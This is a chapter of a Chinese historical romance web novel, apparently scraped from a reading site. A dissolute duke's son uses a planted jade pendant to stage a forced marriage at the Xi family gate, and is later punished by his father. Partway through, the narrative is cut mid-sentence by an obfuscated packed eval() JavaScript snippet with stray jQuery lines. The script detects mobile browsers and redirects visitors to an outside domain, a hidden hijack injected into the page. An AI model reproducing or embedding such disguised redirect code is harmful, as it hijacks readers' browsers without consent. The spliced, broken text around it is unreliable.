春三月,积英巷奚府。
朱红大门紧闭,正门口的两颗石狮子威严肃穆。
迎亲仪仗吹吹打打已有半盏茶的功夫,门房两股战战,抬臂拭着额间冷汗。
亲娘嘞,回府禀报的奴才是半路折了腿不成,怎的还不见老爷现身。
说曹操曹操到,一留着美髯的中年男子面色冷峻跨过乌木门槛,身后紧随着众奴仆,气势汹汹,来人正是奚府的大老爷,奚遂舟。
甫见人至,端坐在高头大马的俊俏郎君,自马上跃下,锣鼓唢呐声戛然而止。
“小子谢钊,今日特来迎亲。”谢钊大步流星行至奚遂舟身前,拱手作揖颇有礼数。
奚遂舟轻抚短苒,眸光灼灼:“不知谢郎君要娶哪家娇客,竟会寻错宅院,时辰也不早了,莫要在我府门前多做停留,以免耽误美事。”
言毕,拂袖一挥,众奴仆围上前来。
谢钊视若无物,不为所动:“奚大人莫要说笑,小子所娶乃是贵府千金,奚二姑娘。”
奚遂舟听罢,知是疯话,不耐烦地欲让奴仆动手:“小女不曾许过人家,谢郎君行事也该知分寸。”
这般荒唐行径欺辱至家门前,奚府将人打了去,纵使闹到御前,也是他无礼在先。
谢钊直言:“大人此举不怕误了卿卿?”
奚遂舟大惊,心下乃想,女儿闺名他如何知晓,还只当是巧合罢了?
奚府蒹葭阁内。
早春天光穿过碧纱橱,在青砖地上织就一片朦胧纱雾。
明霜斜倚在美人榻上,葱管似的指尖正执礼单,粉蓝纱袖滑落处,一截莹莹皓腕缠着素净红绳,在满屋金玉的贺礼间愈显灼灼艳色。
昨儿及笄礼的疲乏还未褪尽,今晨母亲便遣人送来贺礼,足足用了十二架紫檀嵌螺钿托盘,并叮嘱她要一一过目。
她和兄长自幼跟随祖父久居京城,祖父任太子太傅,虽位列三孤却如寒梅抱雪,除却二三老友携棋谱来访,终日只在松寿堂教孙辈临帖烹茶。
奚家三代单传,到明霜这辈仍只见兄妹二人承欢膝下。
江南外祖家山高水远,母亲随父亲外任浮沉三载有余,今岁方奉调返京。
陛下擢升正三品户部侍郎的恩旨尚在等着用印,父亲闭门谢客,府前车马稀疏。
怎地她办个及笄礼,竟有如此多重礼。
青烟缭绕中少女的眉眼含嗔带俏,金翘捧着一方托盘近前,笑着搭话:“一家有女百家求,说得就是姑娘您呀。”
明霜这才惊觉竟将心事说出口,合起掌中礼单作势要掷:“讨打。”
芙蓉面流霞横飞,深瞳里漾开一池春水,然而眼波流转间思绪早已飘远。
昨夜母亲执起牙梳为她篦发时说“到了相看的年纪”,此刻仍在耳畔缠绵。
祖父属意荣恩侯府芝兰玉树的嫡孙,父亲酒酣时曾笑言“吾家掌珠合该配东宫皎月”,母亲则偏爱骑马游街的风流倜傥探花郎。
若得姊妹二三,如了父母双亲的愿,还能讨得祖父欢喜,如此甚好......
旭日高升,铺就满室碎金似的曦光。
近半个时辰方览毕十二份之二,颇费时光。
奚明霜索性吩咐丫鬟们将所剩锦匣尽数打开,走马观花瞧上一瞧,也好向母亲做一番禀告,以慰其心。
“姑娘,这珊瑚摆件下还有别的物件。”
闻言,明霜凑近,锦匣中竟卧着半块玉佩。
“这式样......”她指尖抚过玉佩,忽觉心慌。
白玉雕就的大雁栩栩如生,雁喙处缀着赤红珊瑚珠,与那珊瑚摆件似是一脉相承。
自古婚嫁迎亲时送以活雁,雁礼之说约定俗成,虽说母亲中意谢家大郎,可谢奚两家并未议亲,国公府怎会这般失了礼数。
明霜问道:“登记之时,可有疏忽?”
银枝忆起一事,开口答道:“国公府送礼之时,曾道那珊瑚树娇贵异常,在日光下极易失了本色。门房不敢怠慢,速去禀报。夫人知晓后吩咐将其送入库中,不作查验,以免伤了与国公府间的情谊。”
竟真有蹊跷,奚明霜如是想着,转而吩咐金翘:“你捧着匣子送去正院,交由母亲......”
外间突然传来杂沓脚步声,来人正是母亲院中的管事妈妈。
管事妈妈道:“夫人身体不爽利,姑娘快去看看吧!”
“大夫可曾仔细瞧过?”明霜边说边款步向正院行去。
穿过回廊时,廊下几个粗使婆子正凑作一团窃窃私语,所遇丫鬟皆神色惶惶,明霜心头突地一跳。
明霜甫一进门,见母亲不似有恙,丫鬟婆子也尽数打发出去。
方欲拜见时,崔氏一把将她搂入怀中,哀哀切切满声苦楚:“我的儿啊,是母亲害了你。”
明霜心中顿生异样,遂问道:“母亲何出此言?”
见女儿刚至及笄之年,腮凝新荔面若桃花,细腰长挑体态不凡,未曾许人就被恶犬纠缠,这可如何是好!
崔氏苦从心生,用帕拭泪:“谢国公府那个混不吝的,抬着花轿堵在正门口,要上门逼亲!”
“探花郎锦绣前程,何至于此?”明霜只觉匪夷所思,端方公子大好前程,缘何做出此等荒唐事。
“不是谢大,是谢二。”崔氏提及此人咬牙切齿,恨不得扒骨抽血,“是谢钊那个混世魔王。”
明霜闻言心中一凛,霎时四肢百骸如坠冰窖,手脚冰冷动弹不得。
谢钊纨绔之名坊间皆知,他性情乖戾,睚眦必报,莫非自己无意间得罪过他,才招来今日祸事?
崔氏察觉怀里娇儿有异,柔声安慰:“莫慌莫慌,你父亲正与其交涉,母亲也安排人去翰林院寻你祖父,万不会让卿卿受委屈。”
她追问道:“你仔细想想可曾招惹过这个混账。”
明霜闻听此言,思忖半晌。
自母亲随父亲外任以来,明霜深居简出鲜少交际,唯有几位手帕至交寄帖相邀,左不过是闺阁女子烹茶吟诗,不曾牵扯到旁人。
再者就是及笄礼......她满目泪痕哭泣:“国公府送来的贺礼中多了半块玉佩。”
“比翼雁?”
奚府正门,百姓观望议论纷纷,奚遂舟气火攻心,竟不知还有信物。
“这半块雁佩与二姑娘手中的合为一对,比翼齐飞,忠贞不移。”谢钊手执玉佩信誓旦旦,“卿卿不嫁我,日后我看何人敢掀她的轿帘。”
奚遂舟眼神锋利如刀,且观谢钊这厮,身姿翩然,生就一副好皮囊。若有不知情者,定会叹句丰神俊秀,俊俏儿郎。
然而,此人品性不端,德行沦丧,绝非奚府所盼之佳婿。
“老爷,夫人让奴婢送来此物。”主院管家婆子王妈妈疾步而至,背对众人将手中锦匣打开。
真有雁佩!奚遂舟指尖微颤,心中波澜起伏,难以自持。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506187|170493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>纵使明霜与那竖子...真有私情,只要他奚遂舟还得以喘息,便万万不会容他踏上奚府大门半步。
“夫人让我禀明老爷,今日纷扰姑娘实属无妄之灾,是那国公府自家腌臜事,拿姑娘做筏子掩人耳目.....”
王妈妈三言两语便将此种原由讲述清楚。
奚遂舟听罢愈发生气,世道艰难,女子清誉不堪受辱,纵使他心中愤懑难平,也只得与这竖子当街对峙,以证清白。
“自古以来婚姻嫁娶,皆遵守父母之命,媒妁之言。竖子空口白牙就要上门求娶罔顾人伦,此等行径实属荒谬。莫非日后这天下男儿,但凡对哪家闺秀心生倾慕,便可随手拈来个物件,肆意编造谎言强行攀附,就要把人家中清白之女诓骗强娶了去!”
“我与卿卿情投意合,又有信物为证,还望大人莫要阻拦。”
谢钊昂起头颅,眸底乍现一抹玩味。
观那老妈子一到,奚遂舟态度转圜之快,想来是查到些内情。没意思,还以为能再玩上半个时辰。
“竖子无礼。”奚遂舟横眉冷对,将玉佩连带珊瑚树怒掷于谢钊马前,“国公府假借贺礼之名,行荒唐之事,为人不齿。奚某非卖女求荣的鼠辈,今日特将返还,倘若再来纠缠,我定要告到御前。”
“吁~”
谢国公匆忙下马,对着谢钊劈头大骂:“你这混账玩意,偷将玉佩塞到贺礼中不说,还敢当街逼婚,污人清誉,礼义廉耻都学进了狗肚子里?”
奚家祖父紧随其后从马车里下来,素日里他温和敦厚,此刻眼底慈蔼尽数收敛,气质冷峻如寒冬,令人心生敬畏。
奚遂舟冷言道:“小女自幼养在其祖父膝下,性情温婉贤淑,克己守礼,不曾逾越。国公府门楣显赫,奚府寒微,不敢妄言高攀。特此向谢国公禀明心意,以免他日谣言纷起,累及两府清誉。”
奚家祖父,乃陛下亲点太子太傅,又被赐予“文慧学士”的荣衔,孙辈得其亲自教导,自是品性才情皆属上乘。
今日此番荒谬之事,想必是那逆子不满长兄议亲安排,蓄意为之。
谢国公自知理亏:“奚大人息怒,老夫自当好好教训这逆子。”
谢钊神色自若,朗声道:“谢某诚心求娶奚二姑娘,还请岳父大人放行!”
奚遂舟冷声呵斥:“放肆!”
谢国公紧忙制止:“来人,将这孽子拿下,打断他的腿!”
膀大腰圆的侍卫闻风而动,一左一右立在谢钊身旁。
谢钊嘴角微扯,嘲讽道:“不敢违抗国公爷命令。”
言毕,左膀右臂被人粗暴地擒住,动弹不得。只见谢钊一脸平静未有丝毫反抗之意。
青衫侍卫举起硬棍猛然挥下,骨裂之声清脆可闻。
谢钊身形一晃踉跄跪地,额头渗出细密汗珠,强忍着剧痛,半点呻吟不曾泄露。
奚遂舟道:“国公府若欲教子,还望尊驾移步贵府,我奚府门前,绝非那市井杂耍、哗众取宠之地!”
谢国公被拂了面子,语气冷淡:“次子性情狂悖,若奚大人心中仍有愤懑,尽可报了官去,交由京兆府秉公裁断,国公府必不袒护偏私,为其遮掩!”
“罢了,谢国公还是早早携郎君归府吧。”奚祖父一锤定音,目光中隐含几分深意,“若调养不当,恐怕日后腿疾缠身,落下个终身之苦。”
见老太爷出口终止此事,王妈妈即刻飞奔回正院向崔氏禀报。